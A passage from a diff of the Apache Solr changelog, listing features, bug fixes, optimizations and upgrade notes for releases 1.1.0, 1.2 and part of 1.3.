by Query performance greatly improved by using + new underlying Lucene IndexWriter implementation. (yonik) + +10. SOLR-730: Use read-only IndexReaders that don't synchronize + isDeleted(). This will speed up function queries and *:* queries + as well as improve their scalability on multi-CPU systems. + (Mark Miller via yonik) + +Bug Fixes + 1. Make TextField respect sortMissingFirst and sortMissingLast fields. + (J.J. Larrea via yonik) + + 2. autoCommit/maxDocs was not working properly when large autoCommit/maxTime + was specified (klaas) + + 3. SOLR-283: autoCommit was not working after delete. (ryan) + + 4. SOLR-286: ContentStreamBase was not using default encoding for getBytes() + (Toru Matsuzawa via ryan) + + 5. SOLR-292: Fix MoreLikeThis facet counting. (Pieter Berkel via ryan) + + 6. SOLR-297: Fix bug in RequiredSolrParams where requiring a field + specific param would fail if a general default value had been supplied. + (hossman) + + 7. SOLR-331: Fix WordDelimiterFilter handling of offsets for synonyms or + other injected tokens that can break highlighting. (yonik) + + 8. SOLR-282: Snapshooter does not work on Solaris and OS X since the cp command + there does not have the -l option. Also updated commit/optimize related + scripts to handle both old and new response format. (bill) + + 9. SOLR-294: Logging of elapsed time broken on Solaris because the date command + there does not support the %s output format. (bill) + +10. SOLR-136: Snappuller - "date -d" and locales don't mix. (Jürgen Hermann via bill) + +11. SOLR-333: Changed distributiondump.jsp to use Solr HOME instead of CWD to set path. + +12. SOLR-393: Removed duplicate contentType from raw-schema.jsp. (bill) + +13. SOLR-413: Requesting a large numbers of documents to be returned (limit) + can result in an out-of-memory exception, even for a small index. (yonik) + +14. The CSV loader incorrectly threw an exception when given + header=true (the default). (ryan, yonik) + +15. SOLR-449: the python and ruby response writers are now able to correctly + output NaN and Infinity in their respective languages. (klaas) + +16. SOLR-42: HTMLStripReader tokenizers now preserve correct source + offsets for highlighting. (Grant Ingersoll via yonik) + +17. SOLR-481: Handle UnknownHostException in _info.jsp (gsingers) + +18. SOLR-324: Add proper support for Long and Doubles in sorting, etc. (gsingers) + +19. SOLR-496: Cache-Control max-age changed to Long so Expires + calculation won't cause overflow. (Thomas Peuss via hossman) + +20. SOLR-535: Fixed typo (Tokenzied -> Tokenized) in schema.jsp (Thomas Peuss via billa) + +21. SOLR-529: Better error messages from SolrQueryParser when field isn't + specified and there is no defaultSearchField in schema.xml + (Lars Kotthoff via hossman) + +22. SOLR-530: Better error messages/warnings when parsing schema.xml: + field using bogus fieldtype and multiple copyFields to a non-multiValue + field. (Shalin Shekhar Mangar via hossman) + +23. SOLR-528: Better error message when defaultSearchField is bogus or not + indexed. (Lars Kotthoff via hossman) + +24. SOLR-533: Fixed tests so they don't use hardcoded port numbers. + (hossman) + +25. SOLR-400: SolrExceptionTest should now handle using OpenDNS as a DNS provider (gsingers) + +26. SOLR-541: Legacy XML update support (provided by SolrUpdateServlet + when no RequestHandler is mapped to "/update") now logs error correctly. + (hossman) + +27. SOLR-267: Changed logging to report number of hits, and also provide a mechanism to add log messages to be output by the SolrCore via a NamedList toLog + member variable. (Will Johnson, yseeley, gsingers) + SOLR-267: Removed adding values to the HTTP headers in SolrDispatchFilter (gsingers) + +28. SOLR-509: Moved firstSearcher event notification to the end of the SolrCore constructor (Koji Sekiguchi via gsingers) + +29. SOLR-470, SOLR-552, SOLR-544, SOLR-701: Multiple fixes to DateField + regarding lenient parsing of optional milliseconds, and correct + formating using the canonical representation. LegacyDateField has + been added for people who have come to depend on the existing + broken behavior. (hossman, Stefan Oestreicher) + +30. SOLR-539: Fix for non-atomic long counters and a cast fix to avoid divide + by zero. (Sean Timm via Otis Gospodnetic) + +31. SOLR-514: Added explicit media-type with UTF* charset to *.xsl files that + don't already have one. (hossman) + +32. SOLR-505: Give RequestHandlers the possiblity to suppress the generation + of HTTP caching headers. (Thomas Peuss via Otis Gospodnetic) + +33. SOLR-553: Handle highlighting of phrase terms better when + hl.usePhraseHighligher=true URL param is used. + (Bojan Smid via Otis Gospodnetic) + +34. SOLR-590: Limitation in pgrep on Linux platform breaks script-utils fixUser. (Hannes Schmidt via billa) + +35. SOLR-597: SolrServlet no longer "caches" SolrCore. This was causing + problems in Resin, and could potentially cause problems for customized + usages of SolrServlet. + +36. SOLR-585: Now sets the QParser on the ResponseBuilder (gsingers) + +37. SOLR-604: If the spellchecking path is relative, make it relative to the Solr Data Directory. (Shalin Shekhar Mangar via gsingers) + +38. SOLR-584: Make stats.jsp and stats.xsl more robust. + (Yousef Ourabi and hossman) + +39. SOLR-443: SolrJ: Declare UTF-8 charset on POSTed parameters + to avoid problems with servlet containers that default to latin-1 + and allow switching of the exact POST mechanism for parameters + via useMultiPartPost in CommonsHttpSolrServer. + (Lars Kotthoff, Andrew Schurman, ryan, yonik) + +40. SOLR-556: multi-valued fields always highlighted in disparate snippets (Lars Kotthoff via klaas) + +41. SOLR-501: Fix admin/analysis.jsp UTF-8 input for some other servlet + containers such as Tomcat. (Hiroaki Kawai, Lars Kotthoff via yonik) + +42. SOLR-616: SpellChecker accuracy configuration is not applied for FileBasedSpellChecker. + Apply it for FileBasedSpellChecker and IndexBasedSpellChecker both. + (shalin) + +43. SOLR-648: SpellCheckComponent throws NullPointerException on using spellcheck.q request + parameter after restarting Solr, if reload is called but build is not called. + (Jonathan Lee, shalin) + +44. SOLR-598: DebugComponent now always occurs last in the SearchHandler list unless the components are explicitly declared. (gsingers) + +45. SOLR-676: DataImportHandler should use UpdateRequestProcessor API instead of directly using UpdateHandler. (shalin) + +46. SOLR-696: Fixed bug in NamedListCodec in regards to serializing Iterable objects. (gsingers) + +47. SOLR-669: snappuler fix for FreeBSD/Darwin (Richard "Trey" Hyde via Otis Gospodnetic) + +48. SOLR-606: Fixed spell check collation offset issue. (Stefan Oestreicher , Geoffrey Young, gsingers) + +49. SOLR-589: Improved handling of badly formated query strings (Sean Timm via Otis Gospodnetic) + +50. SOLR-749: Allow QParser and ValueSourceParsers to be extended with same name (hossman, gsingers) + +Other Changes + 1. SOLR-135: Moved common classes to org.apache.solr.common and altered the + build scripts to make two jars: apache-solr-1.3.jar and + apache-solr-1.3-common.jar. This common.jar can be used in client code; + It does not have lucene or junit dependencies. The original classes + have been replaced with a @Deprecated extended class and are scheduled + to be removed in a later release. While this change does not affect API + compatibility, it is recommended to update references to these + deprecated classes. (ryan) + + 2. SOLR-268: Tweaks to post.jar so it prints the error message from Solr. + (Brian Whitman via hossman) + + 3. Upgraded to Lucene 2.2.0; June 18, 2007. + + 4. SOLR-215: Static access to SolrCore.getSolrCore() and SolrConfig.config + have been deprecated in order to support multiple loaded cores. + (Henri Biestro via ryan) + + 5. SOLR-367: The create method in all TokenFilter and Tokenizer Factories + provided by Solr now declare their specific return types instead of just + using "TokenStream" (hossman) + + 6. SOLR-396: Hooks add to build system for automatic generation of (stub) + Tokenizer and TokenFilter Factories. + Also: new Factories for all Tokenizers and TokenFilters provided by the + lucene-analyzers-2.2.0.jar -- includes support for German, Chinese, + Russan, Dutch, Greek, Brazilian, Thai, and French. (hossman) + + 7. Upgraded to commons-CSV r609327, which fixes escaping bugs and + introduces new escaping and whitespace handling options to + increase compatibility with different formats. (yonik) + + 8. Upgraded to Lucene 2.3.0; Jan 23, 2008. + + 9. SOLR-451: Changed analysis.jsp to use POST instead of GET, also made the input area a bit bigger (gsingers) + +10. Upgrade to Lucene 2.3.1 + +11. SOLR-531: Different exit code for rsyncd-start and snappuller if disabled (Thomas Peuss via billa) + +12. SOLR-550: Clarified DocumentBuilder addField javadocs (gsingers) + +13. Upgrade to Lucene 2.3.2 + +14. SOLR-518: Changed luke.xsl to use divs w/css for generating histograms + instead of SVG (Thomas Peuss via hossman) + +15. SOLR-592: Added ShardParams interface and changed several string literals + to references to constants in CommonParams. + (Lars Kotthoff via Otis Gospodnetic) + +16. SOLR-520: Deprecated unused LengthFilter since already core in + Lucene-Java (hossman) + +17. SOLR-645: Refactored SimpleFacetsTest (Lars Kotthoff via hossman) + +18. SOLR-591: Changed Solrj default value for facet.sort to true (Lars Kotthoff via Shalin) + +19. Upgraded to Lucene 2.4-dev (r669476) to support SOLR-572 (gsingers) + +20. SOLR-636: Improve/simplify example configs; and make index.jsp + links more resilient to configs loaded via an InputStream + (Lars Kotthoff, hossman) + +21. SOLR-682: Scripts now support FreeBSD (Richard Trey Hyde via gsingers) + +22. SOLR-489: Added in deprecation comments. (Sean Timm, Lars Kothoff via gsingers) + +23. SOLR-692: Migrated to stable released builds of StAX API 1.0.1 and StAX 1.2.0 (shalin) +24. Upgraded to Lucene 2.4-dev (r686801) (yonik) +25. Upgraded to Lucene 2.4-dev (r688745) 27-Aug-2008 (yonik) +26. Upgraded to Lucene 2.4-dev (r691741) 03-Sep-2008 (yonik) +27. Replaced the StAX reference implementation with the geronimo + StAX API jar, and the Woodstox StAX implementation. (yonik) + +Build + 1. SOLR-411. Changed the names of the Solr JARs to use the defacto standard JAR names based on + project-name-version.jar. This yields, for example: + apache-solr-common-1.3-dev.jar + apache-solr-solrj-1.3-dev.jar + apache-solr-1.3-dev.jar + + 2. SOLR-479: Added clover code coverage targets for committers and the nightly build. Requires the Clover library, as licensed to Apache and only available privately. To run: + ant -Drun.clover=true clean clover test generate-clover-reports + + 3. SOLR-510: Nightly release includes client sources. (koji) + + 4. SOLR-563: Modified the build process to build contrib projects + (Shalin Shekhar Mangar via Otis Gospodnetic) + + 5. SOLR-673: Modify build file to create javadocs for core, solrj, contrib and "all inclusive" (shalin) + + 6. SOLR-672: Nightly release includes contrib sources. (Jeremy Hinegardner, shalin) + + 7. SOLR-586: Added ant target and POM files for building maven artifacts of the Solr core, common, + client and contrib. The target can publish artifacts with source and javadocs. + (Spencer Crissman, Craig McClanahan, shalin) + +================== Release 1.2, 20070602 ================== + +Upgrading from Solr 1.1 +------------------------------------- +IMPORTANT UPGRADE NOTE: In a master/slave configuration, all searchers/slaves +should be upgraded before the master! If the master were to be updated +first, the older searchers would not be able to read the new index format. + +Older Apache Solr installations can be upgraded by replacing +the relevant war file with the new version. No changes to configuration +files should be needed. + +This version of Solr contains a new version of Lucene implementing +an updated index format. This version of Solr/Lucene can still read +and update indexes in the older formats, and will convert them to the new +format on the first index change. One change in the new index format +is that all "norms" are kept in a single file, greatly reducing the number +of files per segment. Users of compound file indexes will want to consider +converting to the non-compound format for faster indexing and slightly better +search concurrency. + +The JSON response format for facets has changed to make it easier for +clients to retain sorted order. Use json.nl=map explicitly in clients +to get the old behavior, or add it as a default to the request handler +in solrconfig.xml + +The Lucene based Solr query syntax is slightly more strict. +A ':' in a field value must be escaped or the whole value must be quoted. + +The Solr "Request Handler" framework has been updated in two key ways: +First, if a Request Handler is registered in solrconfig.xml with a name +starting with "/" then it can be accessed using path-based URL, instead of +using the legacy "/select?qt=name" URL structure. Second, the Request +Handler framework has been extended making it possible to write Request +Handlers that process streams of data for doing updates, and there is a +new-style Request Handler for XML updates given the name of "/update" in +the example solrconfig.xml. Existing installations without this "/update" +handler will continue to use the old update servlet and should see no +changes in behavior. For new-style update handlers, errors are now +reflected in the HTTP status code, Content-type checking is more strict, +and the response format has changed and is controllable via the wt +parameter. + + + +Detailed Change List +-------------------- + +New Features + 1. SOLR-82: Default field values can be specified in the schema.xml. + (Ryan McKinley via hossman) + + 2. SOLR-89: Two new TokenFilters with corresponding Factories... + * TrimFilter - Trims leading and trailing whitespace from Tokens + * PatternReplaceFilter - applies a Pattern to each token in the + stream, replacing match occurances with a specified replacement. + (hossman) + + 3. SOLR-91: allow configuration of a limit of the number of searchers + that can be warming in the background. This can be used to avoid + out-of-memory errors, or contention caused by more and more searchers + warming in the background. An error is thrown if the limit specified + by maxWarmingSearchers in solrconfig.xml is exceeded. (yonik) + + 4. SOLR-106: New faceting parameters that allow specification of a + minimum count for returned facets (facet.mincount), paging through facets + (facet.offset, facet.limit), and explicit sorting (facet.sort). + facet.zeros is now deprecated. (yonik) + + 5. SOLR-80: Negative queries are now allowed everywhere. Negative queries + are generated and cached as their positive counterpart, speeding + generation and generally resulting in smaller sets to cache. + Set intersections in SolrIndexSearcher are more efficient, + starting with the smallest positive set, subtracting all negative + sets, then intersecting with all other positive sets. (yonik) + + 6. SOLR-117: Limit a field faceting to constraints with a prefix specified + by facet.prefix or f..facet.prefix. (yonik) + + 7. SOLR-107: JAVA API: Change NamedList to use Java5 generics + and implement Iterable (Ryan McKinley via yonik) + + 8. SOLR-104: Support for "Update Plugins" -- RequestHandlers that want + access to streams of data for doing updates. ContentStreams can come + from the raw POST body, multi-part form data, or remote URLs. + Included in this change is a new SolrDispatchFilter that allows + RequestHandlers registered with names that begin with a "/" to be + accessed using a URL structure based on that name. + (Ryan McKinley via hossman) + + 9. SOLR-126: DirectUpdateHandler2 supports autocommitting after a specified time + (in ms), using 10000. + (Ryan McKinley via klaas). + +10. SOLR-116: IndexInfoRequestHandler added. (Erik Hatcher) + +11. SOLR-79: Add system property ${[:]} substitution for + configuration files loaded, including schema.xml and solrconfig.xml. + (Erik Hatcher with inspiration from Andrew Saar) + +12. SOLR-149: Changes to make Solr more easily embeddable, in addition + to logging which request handler handled each request. + (Ryan McKinley via yonik) + +13. SOLR-86: Added standalone Java-based command-line updater. + (Erik Hatcher via Bertrand Delecretaz) + +14. SOLR-152: DisMaxRequestHandler now supports configurable alternate + behavior when q is not specified. A "q.alt" param can be specified + using SolrQueryParser syntax as a mechanism for specifying what query + the dismax handler should execute if the main user query (q) is blank. + (Ryan McKinley via hossman) + +15. SOLR-158: new "qs" (Query Slop) param for DisMaxRequestHandler + allows for specifying the amount of default slop to use when parsing + explicit phrase queries from the user. + (Adam Hiatt via hossman) + +16. SOLR-81: SpellCheckerRequestHandler that uses the SpellChecker from + the Lucene contrib. + (Otis Gospodnetic and Adam Hiatt) + +17. SOLR-182: allow lazy loading of request handlers on first request. + (Ryan McKinley via yonik) + +18. SOLR-81: More SpellCheckerRequestHandler enhancements, inlcluding + support for relative or absolute directory path configurations, as + well as RAM based directory. (hossman) + +19. SOLR-197: New parameters for input: stream.contentType for specifying + or overriding the content type of input, and stream.file for reading + local files. (Ryan McKinley via yonik) + +20. SOLR-66: CSV data format for document additions and updates. (yonik) + +21. SOLR-184: add echoHandler=true to responseHeader, support echoParams=all + (Ryan McKinley via ehatcher) + +22. SOLR-211: Added a regex PatternTokenizerFactory. This extracts tokens + from the input string using a regex Pattern. (Ryan McKinley) + +23. SOLR-162: Added a "Luke" request handler and other admin helpers. + This exposes the system status through the standard requestHandler + framework. (ryan) + +24. SOLR-212: Added a DirectSolrConnection class. This lets you access + solr using the standard request/response formats, but does not require + an HTTP connection. It is designed for embedded applications. (ryan) + +25. SOLR-204: The request dispatcher (added in SOLR-104) can handle + calls to /select. This offers uniform error handling for /update and + /select. To enable this behavior, you must add: + to your solrconfig.xml + See the example solrconfig.xml for details. (ryan) + +26. SOLR-170: StandardRequestHandler now supports a "sort" parameter. + Using the ';' syntax is still supported, but it is recommended to + transition to the new syntax. (ryan) + +27. SOLR-181: The index schema now supports "required" fields. Attempts + to add a document without a required field will fail, returning a + descriptive error message. By default, the uniqueKey field is + a required field. This can be disabled by setting required=false + in schema.xml. (Greg Ludington via ryan) + +28. SOLR-217: Fields configured in the schema to be neither indexed or + stored will now be quietly ignored by Solr when Documents are added. + The example schema has a comment explaining how this can be used to + ignore any "unknown" fields. + (Will Johnson via hossman) + +29. SOLR-227: If schema.xml defines multiple fieldTypes, fields, or + dynamicFields with the same name, a severe error will be logged rather + then quietly continuing. Depending on the + settings, this may halt the server. Likewise, if solrconfig.xml + defines multiple RequestHandlers with the same name it will also add + an error. (ryan) + +30. SOLR-226: Added support for dynamic field as the destination of a + copyField using glob (*) replacement. (ryan) + +31. SOLR-224: Adding a PhoneticFilterFactory that uses apache commons codec + language encoders to build phonetically similar tokens. This currently + supports: DoubleMetaphone, Metaphone, Soundex, and RefinedSoundex (ryan) + +32. SOLR-199: new n-gram tokenizers available via NGramTokenizerFactory + and EdgeNGramTokenizerFactory. (Adam Hiatt via yonik) + +33. SOLR-234: TrimFilter can update the Token's startOffset and endOffset + if updateOffsets="true". By default the Token offsets are unchanged. + (ryan) + +34. SOLR-208: new example_rss.xsl and example_atom.xsl to provide more + examples for people about the Solr XML response format and how they + can transform it to suit different needs. + (Brian Whitman via hossman) + +35. SOLR-249: Deprecated SolrException( int, ... ) constructors in favor + of constructors that takes an ErrorCode enum. This will ensure that + all SolrExceptions use a valid HTTP status code. (ryan) + +36. SOLR-386: Abstracted SolrHighlighter and moved existing implementation + to DefaultSolrHighlighter. Adjusted SolrCore and solrconfig.xml so + that highlighter is configurable via a class attribute. Allows users + to use their own highlighter implementation. (Tricia Williams via klaas) + +Changes in runtime behavior + 1. Highlighting using DisMax will only pick up terms from the main + user query, not boost or filter queries (klaas). + + 2. SOLR-125: Change default of json.nl to flat, change so that + json.nl only affects items where order matters (facet constraint + listings). Fix JSON output bug for null values. Internal JAVA API: + change most uses of NamedList to SimpleOrderedMap. (yonik) + + 3. A new method "getSolrQueryParser" has been added to the IndexSchema + class for retrieving a new SolrQueryParser instance with all options + specified in the schema.xml's block set. The + documentation for the SolrQueryParser constructor and it's use of + IndexSchema have also been clarified. + (Erik Hatcher and hossman) + + 4. DisMaxRequestHandler's bq, bf, qf, and pf parameters can now accept + multiple values (klaas). + + 5. Query are re-written before highlighting is performed. This enables + proper highlighting of prefix and wildcard queries (klaas). + + 6. A meaningful exception is raised when attempting to add a doc missing + a unique id if it is declared in the schema and allowDups=false. + (ryan via klaas) + + 7. SOLR-183: Exceptions with error code 400 are raised when + numeric argument parsing fails. RequiredSolrParams class added + to facilitate checking for parameters that must be present. + (Ryan McKinley, J.J. Larrea via yonik) + + 8. SOLR-179: By default, solr will abort after any severe initalization + errors. This behavior can be disabled by setting: + false + in solrconfig.xml (ryan) + + 9. The example solrconfig.xml maps /update to XmlUpdateRequestHandler using + the new request dispatcher (SOLR-104). This requires posted content to + have a valid contentType: curl -H 'Content-type:text/xml; charset=utf-8' + The response format matches that of /select and returns standard error + codes. To enable solr1.1 style /update, do not map "/update" to any + handler in solrconfig.xml (ryan) + +10. SOLR-231: If a charset is not specified in the contentType, + ContentStream.getReader() will use UTF-8 encoding. (ryan) + +11. SOLR-230: More options for post.jar to support stdin, xml on the + commandline, and defering commits. Tutorial modified to take + advantage of these options so there is no need for curl. + (hossman) + +12. SOLR-128: Upgraded Jetty to the latest stable release 6.1.3 (ryan) + +Optimizations + 1. SOLR-114: HashDocSet specific implementations of union() and andNot() + for a 20x performance improvement for those set operations, and a new + hash algorithm speeds up exists() by 10% and intersectionSize() by 8%. + (yonik) + + 2. SOLR-115: Solr now uses BooleanQuery.clauses() instead of + BooleanQuery.getClauses() in any situation where there is no risk of + modifying the original query. + (hossman) + + 3. SOLR-221: Speed up sorted faceting on multivalued fields by ~60% + when the base set consists of a relatively large portion of the + index. (yonik) + + 4. SOLR-221: Added a facet.enum.cache.minDf parameter which avoids + using the filterCache for terms that match few documents, trading + decreased memory usage for increased query time. (yonik) + +Bug Fixes + 1. SOLR-87: Parsing of synonym files did not correctly handle escaped + whitespace such as \r\n\t\b\f. (yonik) + + 2. SOLR-92: DOMUtils.getText (used when parsing config files) did not + work properly with many DOM implementations when dealing with + "Attributes". (Ryan McKinley via hossman) + + 3. SOLR-9,SOLR-99: Tighten up sort specification error checking, throw + exceptions for missing sort specifications or a sort on a non-indexed + field. (Ryan McKinley via yonik) + + 4. SOLR-145: Fix for bug introduced in SOLR-104 where some Exceptions + were being ignored by all "out of the box" RequestHandlers. (hossman) + + 5. SOLR-166: JNDI solr.home code refactoring. SOLR-104 moved + some JNDI related code to the init method of a Servlet Filter - + according to the Servlet Spec, all Filter's should be initialized + prior to initializing any Servlets, but this is not the case in at + least one Servlet Container (Resin). This "bug fix" refactors + this JNDI code so that it should be executed the first time any + attempt is made to use the solr.home dir. + (Ryan McKinley via hossman) + + 6. SOLR-173: Bug fix to SolrDispatchFilter to reduce "too many open + files" problem was that SolrDispatchFilter was not closing requests + when finished. Also modified ResponseWriters to only fetch a Searcher + reference if necessary for writing out DocLists. + (Ryan McKinley via hossman) + + 7. SOLR-168: Fix display positioning of multiple tokens at the same + position in analysis.jsp (yonik) + + 8. SOLR-167: The SynonymFilter sometimes generated incorrect offsets when + multi token synonyms were mached in the source text. (yonik) + + 9. SOLR-188: bin scripts do not support non-default webapp names. Added "-U" + option to specify a full path to the update url, overriding the + "-h" (hostname), "-p" (port) and "-w" (webapp name) parameters. + (Jeff Rodenburg via billa) + +10. SOLR-198: RunExecutableListener always waited for the process to + finish, even when wait="false" was set. (Koji Sekiguchi via yonik) + +11. SOLR-207: Changed distribution scripts to remove recursive find + and avoid use of "find -maxdepth" on platforms where it is not + supported. (yonik) + +12. SOLR-222: Changing writeLockTimeout in solrconfig.xml did not + change the effective timeout. (Koji Sekiguchi via yonik) + +13. Changed the SOLR-104 RequestDispatcher so that /select?qt=xxx can not + access handlers that start with "/". This makes path based authentication + possible for path based request handlers. (ryan) + +14. SOLR-214: Some servlet containers (including Tomcat and Resin) do not + obey the specified charset. Rather then letting the the container handle + it solr now uses the charset from the header contentType to decode posted + content. Using the contentType: "text/xml; charset=utf-8" will force + utf-8 encoding. If you do not specify a contentType, it will use the + platform default. (Koji Sekiguchi via ryan) + +15. SOLR-241: Undefined system properties used in configuration files now + cause a clear message to be logged rather than an obscure exception thrown. + (Koji Sekiguchi via ehatcher) + +Other Changes + 1. Updated to Lucene 2.1 + + 2. Updated to Lucene 2007-05-20_00-04-53 + +================== Release 1.1.0, 20061222 ================== + +Status +------ +This is the first release since Solr joined the Incubator, and brings many +new features and performance optimizations including highlighting, +faceted browsing, and JSON/Python/Ruby response formats. + + +Upgrading from previous Solr versions +------------------------------------- +Older Apache Solr installations can be upgraded by replacing +the relevant war file with the new version. No changes to configuration +files are needed and the index format has not changed. + +The default version of the Solr XML response syntax has been changed to 2.2. +Behavior can be preserved for those clients not explicitly specifying a +version by adding a default to the request handler in solrconfig.xml + +By default, Solr will no longer use a searcher that has not fully warmed, +and requests will block in the meantime. To change back to the previous +behavior of using a cold searcher in the event there is no other +warm searcher, see the useColdSearcher config item in solrconfig.xml + +The XML response format when adding multiple documents to the collection +in a single command has changed to return a single . + + +Detailed Change List +-------------------- + +New Features + 1. added support for setting Lucene's positionIncrementGap + 2. Admin: new statistics for SolrIndexSearcher + 3. Admin: caches now show config params on stats page + 3. max() function added to FunctionQuery suite + 4. postOptimize hook, mirroring the functionallity of the postCommit hook, + but only called on an index optimize. + 5. Ability to HTTP POST query requests to /select in addition to HTTP-GET + 6. The default search field may now be overridden by requests to the + standard request handler using the df query parameter. (Erik Hatcher) + 7. Added DisMaxRequestHandler and SolrPluginUtils. (Chris Hostetter) + 8. Support for customizing the QueryResponseWriter per request + (Mike Baranczak / SOLR-16 / hossman) + 9. Added KeywordTokenizerFactory (hossman) +10. copyField accepts dynamicfield-like names as the source. + (Darren Erik Vengroff via yonik, SOLR-21) +11. new DocSet.andNot(), DocSet.andNotSize() (yonik) +12. Ability to store term vectors for fields. (Mike Klaas via yonik, SOLR-23) +13. New abstract BufferedTokenStream for people who want to write + Tokenizers or TokenFilters that require arbitrary buffering of the + stream. (SOLR-11 / yonik, hossman) +14. New RemoveDuplicatesToken - useful in situations where + synonyms, stemming, or word-deliminater-ing produce identical tokens at + the same position. (SOLR-11 / yonik, hossman) +15. Added highlighting to SolrPluginUtils and implemented in StandardRequestHandler + and DisMaxRequestHandler (SOLR-24 / Mike Klaas via hossman,yonik) +16. SnowballPorterFilterFactory language is configurable via the "language" + attribute, with the default being "English". (Bertrand Delacretaz via yonik, SOLR-27) +17. ISOLatin1AccentFilterFactory, instantiates ISOLatin1AccentFilter to remove accents. + (Bertrand Delacretaz via yonik, SOLR-28) +18. JSON, Python, Ruby QueryResponseWriters: use wt="json", "python" or "ruby" + (yonik, SOLR-31) +19. Make web admin pages return UTF-8, change Content-type declaration to include a + space between the mime-type and charset (Philip Jacob, SOLR-35) +20. Made query parser default operator configurable via schema.xml: + + The default operator remains "OR". +21. JAVA API: new version of SolrIndexSearcher.getDocListAndSet() which takes + flags (Greg Ludington via yonik, SOLR-39) +22. A HyphenatedWordsFilter, a text analysis filter used during indexing to rejoin + words that were hyphenated and split by a newline. (Boris Vitez via yonik, SOLR-41) +23. Added a CompressableField base class which allows fields of derived types to + be compressed using the compress=true setting. The field type also gains the + ability to specify a size threshold at which field data is compressed. + (klaas, SOLR-45) +24. Simple faceted search support for fields (enumerating terms) + and arbitrary queries added to both StandardRequestHandler and + DisMaxRequestHandler. (hossman, SOLR-44) +25. In addition to specifying default RequestHandler params in the + solrconfig.xml, support has been added for configuring values to be + appended to the multi-val request params, as well as for configuring + invariant params that can not overridden in the query. (hossman, SOLR-46) +26. Default operator for query parsing can now be specified with q.op=AND|OR + from the client request, overriding the schema value. (ehatcher) +27. New XSLTResponseWriter does server side XSLT processing of XML Response. + In the process, an init(NamedList) method was added to QueryResponseWriter + which works the same way as SolrRequestHandler. + (Bertrand Delacretaz / SOLR-49 / hossman) +28. json.wrf parameter adds a wrapper-function around the JSON response, + useful in AJAX with dynamic script tags for specifying a JavaScript + callback function. (Bertrand Delacretaz via yonik, SOLR-56) +29. autoCommit can be specified every so many documents added (klaas, SOLR-65) +30. ${solr.home}/lib directory can now be used for specifying "plugin" jars + (hossman, SOLR-68) +31. Support for "Date Math" relative "NOW" when specifying values of a + DateField in a query -- or when adding a document. + (hossman, SOLR-71) +32. useColdSearcher control in solrconfig.xml prevents the first searcher + from being used before it's done warming. This can help prevent + thrashing on startup when multiple requests hit a cold searcher. + The default is "false", preventing use before warm. (yonik, SOLR-77) + +Changes in runtime behavior + 1. classes reorganized into different packages, package names changed to Apache + 2. force read of document stored fields in QuerySenderListener + 3. Solr now looks in ./solr/conf for config, ./solr/data for data + configurable via solr.solr.home system property + 4. Highlighter params changed to be prefixed with "hl."; allow fragmentsize + customization and per-field overrides on many options + (Andrew May via klaas, SOLR-37) + 5. Default param values for DisMaxRequestHandler should now be specified + using a '...' init param, for backwards + compatability all init prams will be used as defaults if an init param + with that name does not exist. (hossman, SOLR-43) + 6. The DisMaxRequestHandler now supports multiple occurances of the "fq" + param. (hossman, SOLR-44) + 7. FunctionQuery.explain now uses ComplexExplanation to provide more + accurate score explanations when composed in a BooleanQuery. + (hossman, SOLR-25) + 8. Document update handling locking is much sparser, allowing performance gains + through multiple threads. Large commits also might be faster (klaas, SOLR-65) + 9. Lazy field loading can be enabled via a solrconfig directive. This will be faster when + not all stored fields are needed from a document (klaas, SOLR-52) +10. Made admin JSPs return XML and transform them with new XSL stylesheets + (Otis Gospodnetic, SOLR-58) +11. If the "echoParams=explicit" request parameter is set, request parameters are copied + to the output. In an XML output, they appear in new list inside + the new element, which replaces the old . + Adding a version=2.1 parameter to the request produces the old format, for backwards + compatibility (bdelacretaz and yonik, SOLR-59). + +Optimizations + 1. getDocListAndSet can now generate both a DocList and a DocSet from a + single lucene query. + 2. BitDocSet.intersectionSize(HashDocSet) no longer generates an intermediate + set + 3. OpenBitSet completed, replaces BitSet as the implementation for BitDocSet. + Iteration is faster, and BitDocSet.intersectionSize(BitDocSet) and unionSize + is between 3 and 4 times faster. (yonik, SOLR-15) + 4. much faster unionSize when one of the sets is a HashDocSet: O(smaller_set_size) + 5. Optimized getDocSet() for term queries resulting in a 36% speedup of facet.field + queries where DocSets aren't cached (for example, if the number of terms in the field + is larger than the filter cache.) (yonik) + 6. Optimized facet.field faceting by as much as 500 times when the field has + a single token per document (not multiValued & not tokenized) by using the + Lucene FieldCache entry for that field to tally term counts. The first request + utilizing the FieldCache will take longer than subsequent ones. + +Bug Fixes + 1. Fixed delete-by-id for field types who's indexed form is different + from the printable form (mainly sortable numeric types). + 2. Added escaping of attribute values in the XML response (Erik Hatcher) + 3. Added empty extractTerms() to FunctionQuery to enable use in + a MultiSearcher (Yonik) + 4. WordDelimiterFilter sometimes lost token positionIncrement information + 5. Fix reverse sorting for fields were sortMissingFirst=true + (Rob Staveley, yonik) + 6. Worked around a Jetty bug that caused invalid XML responses for fields + containing non ASCII chars. (Bertrand Delacretaz via yonik, SOLR-32) + 7. WordDelimiterFilter can throw exceptions if configured with both + generate and catenate off. (Mike Klaas via yonik, SOLR-34) + 8. Escape '>' in XML output (because ]]> is illegal in CharData) + 9. field boosts weren't being applied and doc boosts were being applied to fields (klaas) +10. Multiple-doc update generates well-formed xml (klaas, SOLR-65) +11. Better parsing of pingQuery from solrconfig.xml (hossman, SOLR-70) +12. Fixed bug with "Distribution" page introduced when Versions were + added to "Info" page (hossman) +13. Fixed HTML escaping issues with user input to analysis.jsp and action.jsp + (hossman, SOLR-74) + +Other Changes + 1. Upgrade to Lucene 2.0 nightly build 2006-06-22, lucene SVN revision 416224, + http://svn.apache.org/viewvc/lucene/java/trunk/CHANGES.txt?view=markup&pathrev=416224 + 2. Modified admin styles to improve display in Internet Explorer (Greg Ludington via billa, SOLR-6) + 3. Upgrade to Lucene 2.0 nightly build 2006-07-15, lucene SVN revision 422302, + 4. Included unique key field name/value (if available) in log message of add (billa, SOLR-18) + 5. Updated to Lucene 2.0 nightly build 2006-09-07, SVN revision 462111 + 6. Added javascript to catch empty query in admin query forms (Tomislav Nakic-Alfirevic via billa, SOLR-48 + 7. blackslash escape * in ssh command used in snappuller for zsh compatibility, SOLR-63 + 8. check solr return code in admin scripts, SOLR-62 + 9. Updated to Lucene 2.0 nightly build 2006-11-15, SVN revision 475069 +10. Removed src/apps containing the legacy "SolrTest" app (hossman, SOLR-3) +11. Simplified index.jsp and form.jsp, primarily by removing/hiding XML + specific params, and adding an option to pick the output type. (hossman) +12. Added new numeric build property "specversion" to allow clean + MANIFEST.MF files (hossman) +13. Added Solr/Lucene versions to "Info" page (hossman) +14. Explicitly set mime-type of .xsl files in web.xml to + application/xslt+xml (hossman) +15. Config 